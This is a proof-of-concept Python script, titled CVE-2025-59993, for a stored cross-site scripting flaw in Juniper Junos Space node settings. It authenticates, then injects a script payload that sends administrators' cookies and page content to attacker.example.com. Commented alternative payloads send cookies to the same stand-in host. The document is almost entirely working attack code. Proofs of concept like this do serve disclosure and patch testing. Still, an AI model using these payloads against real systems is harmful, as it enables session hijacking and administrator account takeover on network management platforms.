CVE-2025-59993

# CVE-2025-59993 - Juniper Junos Space Stored XSS PoC # Vulnerability: Improper Neutralization of Input During Web Page Generation # Affected: Junos Space versions before 24.1R4 # Target Field: Space Node Setting fields import requests from urllib.parse import urljoin TARGET_URL = "https://juniper-space-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to Junos Space session = requests.Session() login_url = urljoin(TARGET_URL, "/api/juniper/login") login_payload = { "username": USERNAME, "password": PASSWORD } session.post(login_url, json=login_payload, verify=False) # Step 2: Inject malicious script into Space Node Setting field # The payload will execute in the context of any user who views the node settings xss_payload = '<script>fetch("https://attacker.example.com/steal?cookie="+document.cookie+"&data="+btoa(document.body.innerHTML))</script>' node_setting_url = urljoin(TARGET_URL, "/api/juniper/sd/nodesetting/update") node_payload = { "nodeId": "target_node_id", "settingName": "description", "settingValue": xss_payload # Injecting XSS into the setting field } response = session.post(node_setting_url, json=node_payload, verify=False) # Step 3: When an administrator views the node settings page, # the injected script will automatically execute in their browser, # potentially stealing session cookies or performing privileged actions print(f"XSS payload injected. Status: {response.status_code}") print(f"Payload: {xss_payload}") # Alternative simpler payload for demonstration: # <img src=x onerror="document.location='https://attacker.example.com/?c='+document.cookie"> # <svg onload="fetch('https://attacker.example.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,url:location.href})})">

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